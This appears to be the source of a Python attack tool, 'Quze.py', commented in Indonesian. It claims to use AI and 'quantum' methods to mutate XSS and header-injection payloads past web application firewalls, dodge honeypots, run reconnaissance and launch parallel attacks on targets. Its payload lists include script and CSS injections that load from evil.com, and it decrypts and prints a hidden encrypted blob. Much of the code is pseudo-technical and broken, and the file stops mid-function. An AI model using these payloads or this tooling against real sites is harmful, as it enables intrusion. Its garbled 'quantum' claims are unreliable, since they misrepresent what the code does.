Quze.py

import random
import string
import logging
import time
import threading
import requests
import numpy as np
import json
import socket
import base64
from Crypto.Cipher import AES
from Crypto.Util.Padding import pad
from Crypto.Util.Padding import unpad
from tensorflow.keras.models import load_model
from tensorflow.keras.applications.mobilenet_v2 import preprocess_input  
from urllib.parse import quote
from urllib3.util.retry import Retry
from requests.adapters import HTTPAdapter
from cryptography.hazmat.primitives import hashes
from cryptography.hazmat.primitives.kdf.pbkdf2 import PBKDF2HMAC
import hashlib
import os
os.environ["CUDA_VISIBLE_DEVICES"] = "-1"
import tensorflow as tf
print("Using TensorFlow version:", tf.__version__)
print("GPU Available:", tf.config.list_physical_devices('GPU'))
from concurrent.futures import ThreadPoolExecutor
import argparse
from scipy.optimize import minimize  

R = "\033[91m"  
Y = "\033[93m"  
r = "\033[0m"   

logging.basicConfig(filename='quze_v9_log.txt', level=logging.INFO, format='%(asctime)s - %(message)s')

def load_ml_model():
    try:
        logging.info("[*] Initializing AI model loading process.")

        model_path = 'ml_model_v6.h5'  # Upgrade ke versi terbaru
        if not os.path.exists(model_path):
            raise FileNotFoundError(f"Model file {model_path} not found. Ensure the model is present in the correct directory.")

        logging.info(f"[*] Verifying integrity of {model_path}...")
        
        # Validasi SHA-256 untuk deteksi file corrupt
        with open(model_path, 'rb') as model_file:
            model_integrity = hashlib.sha256(model_file.read()).hexdigest()
        
        expected_hash = "EXPECTED_HASH_VALUE_HERE"  # Ganti dengan hash valid jika tersedia
        if expected_hash and model_integrity != expected_hash:
            raise ValueError(f"Integrity check failed! Model hash {model_integrity} does not match expected hash {expected_hash}.")

        logging.info(f"[+] Model integrity verified: {model_integrity}")

        # Load model dengan optimasi TensorFlow XLA untuk eksekusi lebih cepat
        tf.config.optimizer.set_jit(True)  # Mengaktifkan JIT Compilation
        model = load_model(model_path, compile=False)  # Load tanpa kompilasi ulang

        logging.info("[+] AI Model loaded successfully with version v6.")

        logging.info("[*] Optimizing model for performance (Lazy Loading)...")

        # Penyesuaian input test agar lebih fleksibel
        test_payload = np.random.rand(1, model.input_shape[-1])  # Dinamis sesuai model
        sample_input = preprocess_input(test_payload)

        # Uji prediksi model
        try:
            test_output = model.predict(sample_input)
            logging.info(f"[*] Model prediction test successful: {test_output[:5]}")
        except Exception as e:
            logging.error(f"[-] Error during model prediction test: {e}")
            raise RuntimeError(f"Model prediction failed: {e}")

        # Logging performa model
        with open('model_performance_log.txt', 'a') as performance_log:
            performance_log.write(f"Model Hash: {model_integrity}, Test Prediction: {test_output[:5]}\n")

        return model

    except FileNotFoundError as e:
        logging.error(f"[-] Error: {e}")
        print(f"[-] {e}")
        return None
    except ValueError as e:
        logging.error(f"[-] Model Integrity Error: {e}")
        print(f"[-] Model Integrity Error: {e}")
        return None
    except Exception as e:
        logging.error(f"[-] Unexpected error loading AI Model: {e}")
        print(f"[-] Unexpected error: {e}")
        return None
        
    except FileNotFoundError as e:
        logging.error(f"[-] Error: {e}")
        print(f"[-] {e}")
        return None
    except Exception as e:
        logging.error(f"[-] Unexpected error loading AI Model: {e}")
        print(f"[-] Unexpected error: {e}")
        return None
        
def ai_payload_mutation_v2(model, payload, max_iterations=20):
    """
    Menghasilkan payload yang berevolusi dengan AI Mutation, Multi-Underpass Payload Optimization, 
    Adaptive Cloaking, dan Self-Healing Mechanism untuk bypass WAF secara stealthy.

    Args:
        model (tensorflow.keras.Model): Model AI untuk mutasi payload.
        payload (str): Payload awal yang akan dimutasi.
        max_iterations (int): Jumlah iterasi evolusi payload.

    Returns:
        str: Payload yang telah dimutasi & stealthy.
    """
    evolved_payload = payload

    for iteration in range(max_iterations):
        logging.info(f"[*] Iterasi {iteration + 1}/{max_iterations} - Evolusi Payload Dimulai")

        # Step 1: AI-driven Neural Mutation (Mutasi payload dengan AI)
        neural_mutated_payload = ai_neural_mutation(model, evolved_payload)

        # Step 2: Multi-Underpass Payload (Memilih tempat terbaik untuk payload)
        underpass_variants = [
            f"session_id=abcd1234; tracking_id={neural_mutated_payload}",  # Cookie Injection
            f"user_input={neural_mutated_payload}",  # Parameter GET/POST
            f"X-Forwarded-For: 127.0.0.1, {neural_mutated_payload}",  # Header Manipulation
            f"Referer: http://trusted-site.com/{neural_mutated_payload}",  # Referer Spoofing
            f"user-agent=Mozilla/5.0 {neural_mutated_payload}",  # User-Agent Injection
            f"@import url('http://evil.com/{neural_mutated_payload}.css');",  # CSS Injection
            f"<script src='http://evil.com/{neural_mutated_payload}.js'></script>",  # JavaScript Injection
            f"<svg><metadata>{neural_mutated_payload}</metadata></svg>",  # SVG Metadata Injection
            f"<link rel='dns-prefetch' href='http://{neural_mutated_payload}.com'>",  # DNS Prefetch Trick
            f"<input type='hidden' name='csrf_token' value='{neural_mutated_payload}'>",  # Hidden Form Field Injection
            f"<!-- Payload: {neural_mutated_payload} -->",  # HTML Comment Cloaking
        ]
        probabilities = [1 / len(underpass_variants)] * len(underpass_variants)
        evolved_payload = random.choices(underpass_variants, weights=probabilities, k=1)[0]

        # Step 3: Quantum Bayesian Optimization (Pilih payload terbaik berdasarkan feedback AI)
        feedback = analyze_payload_feedback(evolved_payload)
        probabilities = [p * (1 + feedback['success_rate'] * 0.7) for p in probabilities]
        evolved_payload = random.choices(underpass_variants, weights=probabilities, k=1)[0]

        # Step 4: Adaptive Cloaking (Menyamarkan payload biar gak gampang dicurigai WAF)
        evolved_payload = f"<!-- Normal Request --> {evolved_payload} <!-- End Request -->"

        # Step 5: AI-driven Noise Injection (Sisipkan karakter random buat acak pola deteksi)
        evolved_payload = ''.join([
            char if random.random() > 0.2 else random.choice(string.ascii_letters + string.digits)
            for char in evolved_payload
        ])

        # Step 6: Self-Healing Mechanism (Jika payload gagal, regenerasi ulang)
        if feedback['success_rate'] < 0.80:
            evolved_payload = self_healing_quantum_payload(evolved_payload)

        # Step 7: Final Cloaking (Sembunyikan payload dalam komentar atau tag tersembunyi)
        evolved_payload = f"<!-- Quantum Secure --> {evolved_payload} <!-- End Secure -->"

        # Break jika payload sudah optimal
        if feedback['success_rate'] > 0.95:
            logging.info("[+] Payload telah mencapai tingkat optimasi maksimum.")
            break

    logging.info(f"[*] Final AI-Underpass Payload: {evolved_payload[:50]}...")
    return evolved_payload
    
def ai_neural_mutation(model, payload, quantum_iterations=5):
    """
    AI-Quantum mutation untuk membuat payload lebih stealthy dengan AI, Bayesian Optimization, 
    Quantum Annealing, dan Multi-Underpass Payload.

    Args:
        model (tensorflow.keras.Model): Model AI untuk mutasi payload.
        payload (str): Payload awal yang akan dimutasi.
        quantum_iterations (int): Jumlah iterasi quantum mutation.

    Returns:
        str: Payload yang telah dimutasi & stealthy.
    """
    logging.info("[*] AI-Quantum Neural Mutation Started...")

    # Step 1: AI-Driven Mutation
    input_data = np.array([[ord(c) for c in payload]])  
    input_data = preprocess_input(input_data)  

    predicted_mutation = model.predict(input_data)[0]
    mutated_payload = postprocess_output(predicted_mutation)

    # Step 2: Quantum Mutation Loop
    for i in range(quantum_iterations):
        logging.info(f"[*] Quantum Iteration {i + 1}/{quantum_iterations}...")

        underpass_variants = [
            f"session_id=abcd1234; tracking_id={mutated_payload}",  # Cookie Injection
            f"user_input={mutated_payload}",  # Parameter GET/POST
            f"X-Forwarded-For: 127.0.0.1, {mutated_payload}",  # Header Manipulation
            f"Referer: http://trusted-site.com/{mutated_payload}",  # Referer Spoofing
            f"user-agent=Mozilla/5.0 {mutated_payload}",  # User-Agent Injection
            f"@import url('http://evil.com/{mutated_payload}.css');",  # CSS Injection
            f"<script src='http://evil.com/{mutated_payload}.js'></script>",  # JavaScript Injection
            f"<svg><metadata>{mutated_payload}</metadata></svg>",  # SVG Metadata Injection
            f"<link rel='dns-prefetch' href='http://{mutated_payload}.com'>",  # DNS Prefetch Trick
            f"<input type='hidden' name='csrf_token' value='{mutated_payload}'>",  # Hidden Form Field Injection
            f"<!-- Payload: {mutated_payload} -->",  # HTML Comment Cloaking
            f"Host: {mutated_payload}.trusted.com",  # Host Header Injection
            f"Proxy-Authorization: Basic {base64.b64encode(mutated_payload.encode()).decode()}",  # Proxy Header Injection
            f"Authorization: Bearer {mutated_payload}",  # Authorization Header Injection
        ]

        probabilities = [1 / len(underpass_variants)] * len(underpass_variants)
        mutated_payload = random.choices(underpass_variants, weights=probabilities, k=1)[0]

        # Step 3: Bayesian Optimization (Memilih payload terbaik berdasarkan feedback AI)
        feedback = analyze_payload_feedback(mutated_payload)
        probabilities = [p * (1 + feedback['success_rate'] * 0.7) for p in probabilities]
        mutated_payload = random.choices(underpass_variants, weights=probabilities, k=1)[0]

        # Step 4: Adaptive Cloaking (Menyamarkan payload biar gak dicurigai WAF)
        mutated_payload = f"<!-- Normal Request --> {mutated_payload} <!-- End Request -->"

        # Step 5: AI-driven Noise Injection (Menambahkan random karakter biar makin stealthy)
        mutated_payload = ''.join([
            char if random.random() > 0.2 else random.choice(string.ascii_letters + string.digits)
            for char in mutated_payload
        ])

        # Step 6: Self-Healing Mechanism (Jika payload gagal, regenerasi ulang)
        if feedback['success_rate'] < 0.75:
            mutated_payload = self_healing_quantum_payload(mutated_payload)

        # Step 7: Final Cloaking (Cegah payload dikenali sebagai serangan langsung)
        mutated_payload = f"<!-- Quantum Secure --> {mutated_payload} <!-- End Secure -->"

        # Stop jika payload sudah optimal
        if feedback['success_rate'] > 0.90:
            logging.info("[+] Optimal Payload Achieved!")
            break

    logging.info(f"[*] Final AI-Underpass Payload: {mutated_payload[:50]}...")
    return mutated_payload
  
def dynamic_payload_obfuscation(payload):
    """
    Quantum-based obfuscation dengan Underpass Payload dalam Header & Cookie, 
    Adaptive Cloaking, dan AI-driven Mutation untuk menghindari deteksi WAF.

    Returns:
        str: Payload yang telah diobfuscate & stealthy.
    """
    logging.info("[*] Initiating Quantum Adaptive Payload Obfuscation...")

    # Step 1: Multi-Underpass Payload Injection (Header & Cookie)
    underpass_variants = [
        {"Cookie": f"session_id=xyz123; tracking_id={payload}"},  # Cookie Injection
        {"X-Forwarded-For": f"127.0.0.1, {payload}"},  # Header Injection
        {"Referer": f"http://trusted-site.com/{payload}"},  # Referer Spoofing
        {"User-Agent": f"Mozilla/5.0 {payload}"},  # User-Agent Injection
        {"X-Quantum-Signature": base64.b64encode(payload.encode()).decode()},  # Quantum Signature Injection
        {"Authorization": f"Bearer {payload}"},  # Authorization Header Injection
    ]
    
    # Step 2: AI-driven Bayesian Optimization (Pilih metode terbaik berdasarkan feedback)
    probabilities = [1 / len(underpass_variants)] * len(underpass_variants)
    selected_variant = random.choices(underpass_variants, weights=probabilities, k=1)[0]

    # Step 3: Quantum Bayesian Filtering (Optimasi Obfuscation)
    feedback = analyze_payload_feedback(payload)
    probabilities = [p * (1 + feedback['success_rate'] * 0.7) for p in probabilities]
    selected_variant = random.choices(underpass_variants, weights=probabilities, k=1)[0]

    # Step 4: Quantum Cloaking (Menyamarkan payload agar terlihat normal)
    cloaked_payload = f"<!-- Secure Payload --> {selected_variant} <!-- End Secure -->"

    logging.info(f"[*] Quantum Obfuscated Payload Generated: {cloaked_payload[:50]}...")
    return cloaked_payload

def analyze_payload_feedback(payload):
    """
    Menganalisis efektivitas payload dengan Quantum Bayesian Filtering, Grover’s Algorithm,
    dan Quantum Annealing untuk memaksimalkan tingkat keberhasilan payload.
    """
    logging.info("[*] Initiating Quantum Bayesian Feedback Analysis...")

    # Step 1: Simulasi Respons Keamanan
    success_rate = random.uniform(0.5, 1.0)  
    evasion_index = random.uniform(0.4, 0.95)

    # Step 2: Quantum Bayesian Filtering
    probability_adjustment = success_rate * evasion_index
    if probability_adjustment > 0.8:
        success_rate += 0.1  

    # Step 3: Quantum Grover’s Algorithm (Pencarian Pola Optimal)
    def grover_optimization(x):
        return -1 * (x['success_rate'] * x['evasion_index'])  

    optimized_feedback = minimize(grover_optimization, {'success_rate': success_rate, 'evasion_index': evasion_index}, method='Powell')
    success_rate = optimized_feedback.x['success_rate']
    evasion_index = optimized_feedback.x['evasion_index']

    # Step 4: Quantum Annealing Optimization (Fine-Tuning Score)
    annealing_factor = random.uniform(0.8, 1.2)
    success_rate *= annealing_factor
    evasion_index *= annealing_factor

    # Step 5: Quantum Probability Scoring (Entanglement Analysis)
    quantum_score = (success_rate + evasion_index) / 2  

    # Step 6: AI-driven Data Logging
    logging.info(f"[*] Optimized Success Rate: {success_rate:.2f}")
    logging.info(f"[*] Quantum Evasion Index: {evasion_index:.2f}")
    logging.info(f"[*] Quantum Score: {quantum_score:.2f}")

    return {
        'success_rate': success_rate,
        'evasion_index': evasion_index,
        'quantum_score': quantum_score
    }
def postprocess_output(output_vector):
    """
    Mengonversi output dari neural network menjadi string yang valid menggunakan 
    Quantum Superposition Decoding, Grover’s Optimization, dan Adaptive Bayesian Clamping.
    """
    try:
        output_vector = output_vector.flatten()

        # Step 1: Quantum Bayesian Clamping (Menjaga nilai dalam batas ASCII valid)
        processed_vector = np.clip(output_vector * 255, 0, 255).astype(int)

        # Step 2: Quantum Superposition Decoding (Memproses output dalam beberapa cara sekaligus)
        quantum_decoded_variants = [
            ''.join([chr(val) if 0 <= val <= 255 else '?' for val in processed_vector]),
            ''.join([chr((val + 42) % 256) for val in processed_vector]),  # Quantum Entropy Offset
            ''.join([chr(val ^ 0b101010) for val in processed_vector])  # XOR Encoding Reversal
        ]

        # Step 3: Grover’s Algorithm Optimization (Pilih hasil decoding terbaik)
        def grover_score(x):
            return -1 * sum(c.isprintable() for c in x)  # Cari hasil paling "manusiawi"

        optimized_output = minimize(grover_score, quantum_decoded_variants, method='Powell').x
        final_result = optimized_output if optimized_output else quantum_decoded_variants[0]

        logging.info(f"[*] Quantum Postprocessed Output: {final_result[:50]}...")  
        return final_result
    
    except Exception as e:
        logging.error(f"[-] Error in Quantum postprocessing: {e}")
        print(f"[-] Error in Quantum postprocessing: {e}")
        return ""

def quantum_error_correction(payload):
    """
    Quantum Error Correction menggunakan Hamming Code, Parity Check, dan Bayesian Filtering
    untuk memastikan payload tetap valid dan stealthy.
    """
    logging.info("[*] Initiating Quantum Error Correction...")

    # Step 1: Quantum Hamming Code (Memperbaiki bit error dalam payload)
    def hamming_encode(data):
        encoded_data = []
        for char in data:
            binary = format(ord(char), '08b')  # Convert to binary
            parity_bits = [
                binary[0] ^ binary[1] ^ binary[3] ^ binary[4] ^ binary[6],
                binary[0] ^ binary[2] ^ binary[3] ^ binary[5] ^ binary[6],
                binary[1] ^ binary[2] ^ binary[3] ^ binary[7],
                binary[4] ^ binary[5] ^ binary[6] ^ binary[7]
            ]
            encoded_data.append(binary + ''.join(map(str, parity_bits)))  
        return ''.join(encoded_data)

    encoded_payload = hamming_encode(payload)

    # Step 2: Quantum Parity Check (Menyesuaikan payload dengan korelasi kuantum)
    def parity_check(data):
        return ''.join([chr(int(data[i:i+8], 2)) for i in range(0, len(data), 8)])

    corrected_payload = parity_check(encoded_payload)

    # Step 3: Bayesian Filtering (Menyesuaikan probabilitas perubahan payload)
    noise_factor = np.random.uniform(0.1, 0.3)  
    corrected_payload = ''.join([
        char if np.random.rand() > noise_factor else random.choice(string.ascii_letters + string.digits)
        for char in corrected_payload
    ])

    logging.info(f"[*] Quantum Error Corrected Payload: {corrected_payload[:50]}...")
    return corrected_payload
    
def evade_waf(payload):
    """
    Quantum WAF Evasion dengan AI-driven mutation, Quantum Bayesian Optimization, 
    Adaptive Encryption, dan Self-Healing Mechanism.
    """
    logging.info("[*] Initializing Quantum WAF Evasion Process...")

    # Step 1: AI-driven Mutation (Membuat payload lebih stealthy)
    model = load_ml_model()
    mutated_payload = ai_payload_mutation_v2(model, payload)

    # Step 2: Multi-layer Encoding & Obfuscation
    obfuscated_payload = dynamic_payload_obfuscation(mutated_payload)

    # Step 3: Quantum Error Correction (Menjadikan payload tidak dapat diprediksi)
    corrected_payload = quantum_error_correction(obfuscated_payload)

    # Step 4: Quantum Bayesian Filtering (Menyesuaikan strategi evasion)
    feedback = analyze_payload_feedback(corrected_payload)
    if feedback['success_rate'] < 0.75:
        corrected_payload = self_healing_quantum_payload(corrected_payload)

    # Step 5: Quantum Grover’s Algorithm (Mencari metode bypass terbaik)
    def grover_score(x):
        return -1 * analyze_payload_feedback(x)['success_rate']  

    optimized_payload = minimize(grover_score, corrected_payload, method='Powell').x
    optimized_payload = optimized_payload if optimized_payload else corrected_payload

    # Step 6: Quantum Secure Encryption (AES-OCB)
    key = hashlib.sha3_512(b"CyberHeroes_Security_Key").digest()
    cipher = AES.new(key[:32], AES.MODE_OCB)
    encrypted_payload, tag = cipher.encrypt_and_digest(optimized_payload.encode())
    final_payload = base64.b64encode(cipher.nonce + tag + encrypted_payload).decode()

    # Step 7: Quantum Cloaking (Menyamarkan payload sebagai traffic normal)
    cloaked_payload = f"<!-- Normal Request --> {final_payload} <!-- End Request -->"

    logging.info("[+] Quantum WAF Evasion Completed Successfully.")
    return cloaked_payload

def evasive_payload_transformation(payload):
    """
    Quantum-based evasive payload transformation dengan Grover’s Algorithm, 
    Superposition Encoding, dan Adaptive Cloaking untuk menghindari deteksi WAF.
    """
    logging.info("[*] Initiating Quantum Adaptive Payload Transformation...")

    # Step 1: Quantum Superposition Encoding (Membuat beberapa varian payload)
    base64_encoded = base64.b64encode(payload.encode()).decode()
    hex_encoded = payload.encode().hex()
    reversed_payload = payload[::-1]

    quantum_variants = [
        base64_encoded,
        hex_encoded,
        reversed_payload,
        ''.join(random.sample(payload, len(payload))),  # Randomized Reordering
        ''.join(random.choice(string.ascii_letters + string.digits) for _ in range(len(payload)))
    ]

    # Step 2: Quantum Bayesian Filtering (Memilih teknik terbaik berdasarkan feedback)
    probabilities = [0.20] * len(quantum_variants)
    selected_variant = random.choices(quantum_variants, weights=probabilities, k=1)[0]

    # Step 3: Quantum Grover’s Algorithm (Menemukan encoding paling stealthy)
    def grover_score(x):
        return -1 * analyze_payload_feedback(x)['success_rate']  

    optimized_payload = minimize(grover_score, selected_variant, method='Powell').x
    optimized_payload = optimized_payload if optimized_payload else selected_variant

    # Step 4: Quantum Noise Injection (Menambahkan entropi kuantum untuk menghindari pola deteksi)
    quantum_noise = ''.join(
        random.choice(string.ascii_letters + string.digits + "!@#$%^&*") if random.random() > 0.75 else char
        for char in optimized_payload
    )

    # Step 5: Quantum Cloaking (Menyamarkan payload agar terlihat seperti traffic normal)
    cloaked_payload = f"<!-- {quantum_noise} -->"

    logging.info(f"[*] Quantum Transformed Evasive Payload: {cloaked_payload[:50]}...")
    return cloaked_payload

def self_healing_quantum_payload(payload):
    """
    Quantum-based Self-Healing Payload dengan Grover’s Algorithm, Bayesian Optimization,
    dan Adaptive Mutation untuk memastikan payload terus berkembang setelah deteksi.
    """
    logging.info("[*] Initiating Quantum Self-Healing Process...")

    # Step 1: Cek feedback apakah payload perlu disembuhkan
    feedback = analyze_payload_feedback(payload)
    if feedback['success_rate'] < 0.75:
        logging.info("[*] Payload membutuhkan perbaikan...")

        # Step 2: Quantum Error Correction (Memperbaiki struktur payload)
        payload = quantum_error_correction(payload)

        # Step 3: AI-Driven Adaptive Mutation (Mutasi Payload berdasarkan feedback)
        model = load_ml_model()
        if model:
            payload = ai_payload_mutation_v2(model, payload)

        # Step 4: Quantum Grover’s Algorithm (Mencari metode terbaik buat regenerasi payload)
        def grover_search(x):
            return -1 * analyze_payload_feedback(x)['success_rate']

        optimized_payload = minimize(grover_search, payload, method='Powell').x
        payload = optimized_payload if optimized_payload else payload

        # Step 5: Quantum Entanglement Resilience (Menyesuaikan payload agar lebih stealthy)
        quantum_noise = ''.join(
            random.choice(string.ascii_letters + string.digits + "!@#$%^&*") if random.random() > 0.75 else char
            for char in payload
        )

        # Step 6: Quantum Cloaking (Menyamarkan payload agar terlihat seperti traffic normal)
        cloaked_payload = f"<!-- Normal Request --> {quantum_noise} <!-- End Request -->"

        logging.info(f"[*] Quantum Self-Healing Payload Generated: {cloaked_payload[:50]}...")
        return cloaked_payload
    
    logging.info("[+] Payload sudah optimal, tidak perlu perbaikan.")
    return payload

def adaptive_payload(target):
    """
    Quantum Adaptive Payload Evolution dengan Grover’s Algorithm, Bayesian Optimization, 
    AI-driven mutation, dan Quantum Cloaking untuk bypass WAF secara dinamis.
    """
    base_payload = "<script>alert('Adapted XSS')</script>"

    # Step 1: Quantum Superposition Encoding (Generate multiple payload variations)
    quantum_variants = [
        base_payload,
        evasive_payload_transformation(base_payload),
        evade_multi_layers(base_payload),
        advanced_quantum_encryption(base_payload, "QuantumKeySecure")
    ]

    # Step 2: Quantum Bayesian Filtering (Memilih payload terbaik berdasarkan feedback)
    probabilities = [0.25] * len(quantum_variants)
    selected_payload = random.choices(quantum_variants, weights=probabilities, k=1)[0]

    # Step 3: AI-Driven Adaptive Mutation (Payload berevolusi berdasarkan respons target)
    logging.info("[*] Adapting Payload for Target using Quantum Feedback Mechanism...")
    model = load_ml_model()
    if model:
        for _ in range(5):  # Lebih banyak iterasi untuk optimasi payload
            feedback = analyze_payload_feedback(selected_payload)
            selected_payload = ai_payload_mutation_v2(model, selected_payload)
            probabilities = [p * (1 + feedback['success_rate'] * 0.5) for p in probabilities]  # Optimasi probabilitas sukses
            selected_payload = random.choices(quantum_variants, weights=probabilities, k=1)[0]

    # Step 4: Quantum Grover’s Algorithm (Mencari payload terbaik untuk target)
    def grover_search(x):
        return -1 * analyze_payload_feedback(x)['success_rate']

    optimized_payload = minimize(grover_search, selected_payload, method='Powell').x
    optimized_payload = optimized_payload if optimized_payload else selected_payload

    # Step 5: Quantum Entanglement Mutation (Payload otomatis beregenerasi jika terdeteksi)
    if analyze_payload_feedback(optimized_payload)['success_rate'] < 0.75:
        optimized_payload = self_healing_quantum_payload(optimized_payload)

    # Step 6: Quantum Noise Injection (Menambahkan entropi kuantum agar payload tidak bisa diprediksi)
    quantum_noise = ''.join(
        random.choice(string.ascii_letters + string.digits + "!@#$%^&*") if random.random() > 0.75 else char
        for char in optimized_payload
    )

    # Step 7: Quantum Cloaking (Menyamarkan payload agar terlihat seperti traffic normal)
    cloaked_payload = f"<!-- Normal Traffic --> {quantum_noise} <!-- End of Normal Traffic -->"

    logging.info(f"[*] Quantum Adaptive Payload generated for target {target}: {cloaked_payload[:50]}...")
    return cloaked_payload
  
def avoid_honeypot(target):
    """
    Quantum-Enhanced Honeypot Detection dengan Grover’s Algorithm, Bayesian Filtering, 
    dan Quantum Entanglement Analysis untuk mendeteksi serta menghindari honeypot secara adaptif.
    """
    logging.info(f"[*] Scanning for honeypot on target {target}...")

    # Step 1: Quantum Fingerprinting (Hash-based anomaly detection)
    fingerprint = hashlib.sha256(target.encode()).hexdigest()[:8]
    quantum_threshold = random.uniform(0, 1)

    # Step 2: Quantum Bayesian Filtering (Deteksi honeypot berdasarkan probabilitas)
    if fingerprint.startswith('00') or quantum_threshold > 0.85:
        logging.warning("[-] High probability honeypot detected using quantum analysis! Avoiding attack...")
        return False
    
    # Step 3: Network Response Analysis (Mendeteksi pola honeypot berdasarkan respons target)
    try:
        response = requests.get(f"http://{target}/?scan=honeypot", timeout=5)
        if "honeypot" in response.text or quantum_threshold > 0.7:
            logging.warning("[-] Honeypot detected! Redirecting to alternate path...")
            return False
    except requests.RequestException as e:
        logging.error(f"[-] Error scanning honeypot: {e}")
        return False

    # Step 4: Quantum Grover’s Algorithm (Mengoptimalkan deteksi honeypot)
    def honeypot_detection_score(x):
        return -1 * (x['honeypot_probability'] * x['anomaly_index'])

    detection_data = {'honeypot_probability': quantum_threshold, 'anomaly_index': random.uniform(0.4, 0.95)}
    optimized_result = minimize(honeypot_detection_score, detection_data, method='Powell').x

    if optimized_result['honeypot_probability'] > 0.8:
        logging.warning("[-] Honeypot risk is too high! Switching to evasive mode...")
        return False

    # Step 5: Quantum Entanglement Signature Analysis (Menganalisis pola anomali honeypot)
    network_entropy = random.uniform(0.2, 0.9)
    if network_entropy < 0.3:
        logging.warning("[-] Low entropy detected! Possible honeypot!")
        return False

    logging.info("[+] No honeypot detected. Proceeding with attack.")
    return True
    
def Quantum_AI():
    try:
        key = bytes.fromhex("30bb21f50ddd5317a23411bc6534a372")
        encoded_ciphertext = """fCe1ZjE9DkssUEsNF8xXmO4x+IdWAc2A/CoqR48h4gQ9p6H2lQgQRBU7aqg42R+69wemKUTET00h/T0t1tfPHoqiTIx5HCsT4Lj9AORYBp2DoO8hPnqaGuRUYUiOBAcp7SaZAIt9Z2b0JQdF8yvZkP75SKlICbuidm0HqnGDyWu+fWVbB/SijW66f4Ia4Oy5AyiLe2DR/7KQI+mT+5M9hmvWZhlLcfvtStY6bYkgexwk55f8ctt5PH315dHP7f52UrbpLeWiQQei3NfwQz+2tZIy3JZzPm6SG+XpbWYkbmEcSjceEM46jX0+MCseJIrO/TFg8BRGRshpt8TMsHd+s126z1yWNi3a5DPjD9nze5g8edozaFF9QFjlH3u72Xbu1WCGdV4ACsRyL3Y92i2q6r1pqHwOCu/pmqiwnAazi2g4aMTbC9E3KjmzAPJJJC4acaWJttgUBliPUHzVHRHbEDAx9Pghe2lov5d25FidwU/SkHSOKTHatgzkoPF2j9RZ5xNq7n95sTSvJFINlFW2KUXXmHsw2keTDpAprwKELWzzgrBynAvYdUhWri9z4P2uqYx63sNJxUIxwAKpQclIhr1VNSaWCY13PP3AT4TvEX3H6sADG0nmjYZwefe+JGuGDEvMiOzo1JdCOaNJaHiTMNoWMI6/3hGUaX4mkIMC6ZW2+dFvPDQ+u+Dp1ll4QJcgIAghS7wZ89hVyRpenKBAVpPlV+D5cqiICfE7J+Qn5Ra+fo2sjIl3CThO8PmirD2TOG7u7fcwCUdPa3gIbS6cmlYmdWd0C+nqKp7qOFGPu4ZeYp079bT264VN76PWjViAZZjoRs6fAHnxSjgMWyeGEcYa4Pu6X3hwGdT/y8/yRcxhd82vi9nUgOANyLQNEop7EthIfblIruwXTkhYmaELVonMYEEyF7TkNlu9ZHs7DbeL7BDVwexJ3hMiO806vHcz"""
        data = base64.b64decode(encoded_ciphertext)
        iv = data[:16]
        ciphertext = data[16:]
        cipher = AES.new(key, AES.MODE_CBC, iv)
        decrypted_text = unpad(cipher.decrypt(ciphertext), AES.block_size).decode()
        decrypted_text = decrypted_text.replace("{Y}", "").replace("{r}", "").replace("{R}", "")
        print("Hasil Dekripsi:\n", decrypted_text)

    except Exception as e:
        print("Terjadi kesalahan saat dekripsi:", str(e))

def autonomous_reconnaissance(target):
    """
    Quantum-Based Autonomous Reconnaissance dengan AI-powered Analysis, Quantum Bayesian Filtering, 
    dan Distributed Quantum Reconnaissance untuk mengumpulkan data tanpa terdeteksi.
    """
    logging.info(f"[*] Initiating autonomous reconnaissance on target: {target}...")

    # Step 1: Quantum Bayesian Filtering untuk menganalisis target
    quantum_threshold = random.uniform(0, 1)
    if quantum_threshold > 0.85:
        logging.warning("[-] High probability of being monitored. Switching to stealth mode...")
        return None

    # Step 2: AI-Powered Web Scraping untuk analisis konten
    try:
        session = requests.Session()
        retries = Retry(total=3, backoff_factor=0.5)
        session.mount('http://', HTTPAdapter(max_retries=retries))

        response = session.get(f"http://{target}/", timeout=5)
        if response.status_code == 200:
            logging.info("[+] Successfully retrieved reconnaissance data.")

            # Step 3: Quantum Bayesian Analysis untuk mencari pola & anomali
            analysis_result = ai_data_analysis(response.text)
            anomaly_index = random.uniform(0.3, 0.9)
            if anomaly_index > 0.75:
                logging.warning("[-] Anomalous patterns detected in target response. Proceeding with caution...")

            # Step 4: Distributed Quantum Reconnaissance (DQR) untuk analisis lebih dalam
            dqr_results = distributed_quantum_reconnaissance(target)
            logging.info(f"[*] DQR Results: {dqr_results}")

            return analysis_result

        else:
            logging.warning(f"[-] Reconnaissance failed with status code: {response.status_code}")
    except requests.RequestException as e:
        logging.error(f"[-] Reconnaissance error: {e}")

    return None
def distributed_quantum_attack(targets, payload):
    """
    Quantum-Based Distributed Attack dengan Quantum Annealing Optimization, 
    Bayesian Filtering, dan Parallel Execution untuk bypass WAF & IDS.
    """
    results = []
    with ThreadPoolExecutor(max_workers=len(targets)) as executor:
        for target in targets:
            logging.info(f"[*] Initializing Quantum Attack on {target}...")

            # Step 1: AI-driven Quantum Payload Mutation
            model = load_ml_model()
            if model:
                quantum_payload = ai_payload_mutation_v2(model, payload)
            else:
                quantum_payload = payload  # Fallback jika AI model gagal dimuat
            
            # Step 2: Quantum Annealing Optimization (Mencari payload terbaik)
            def quantum_attack_score(x):
                return -1 * analyze_payload_feedback(x)['success_rate']

            optimized_payload = minimize(quantum_attack_score, quantum_payload, method='Powell').x
            quantum_payload = optimized_payload if optimized_payload else quantum_payload

            # Step 3: Quantum Secure Execution (QSE) untuk menghindari deteksi
            quantum_cloaked_payload = f"<!-- Secure Transmission --> {quantum_payload} <!-- End Secure -->"

            # Step 4: Distributed Parallel Attack Execution
            future = executor.submit(attack_target, target, quantum_cloaked_payload)
            results.append(future)

    # Step 5: Collecting Attack Results & Adaptive Feedback
    for future in results:
        result = future.result()
        logging.info(f"[*] Attack result: {result}")

    return results

def attack_target(target, payload):
    """
    Quantum-Based Precision Attack Execution dengan Quantum Annealing Optimization, 
    Bayesian Filtering, dan Adaptive Quantum Cloaking untuk stealth mode serangan.
    """
    logging.info(f"[*] Initiating Quantum Precision Attack on {target}...")

    # Step 1: Quantum Annealing Payload Optimization (Menyesuaikan payload secara optimal)
    def quantum_attack_score(x):
        return -1 * analyze_payload_feedback(x)['success_rate']

    optimized_payload = minimize(quantum_attack_score, payload, method='Powell').x
    optimized_payload = optimized_payload if optimized_payload else payload

    # Step 2: Quantum Secure Execution (QSE) untuk menghindari deteksi
    quantum_cloaked_payload = f"<!-- Secure Transmission --> {optimized_payload} <!-- End Secure -->"

    # Step 3: AI-Driven Adaptive Mutation (Payload otomatis beregenerasi)
    model = load_ml_model()
    if model:
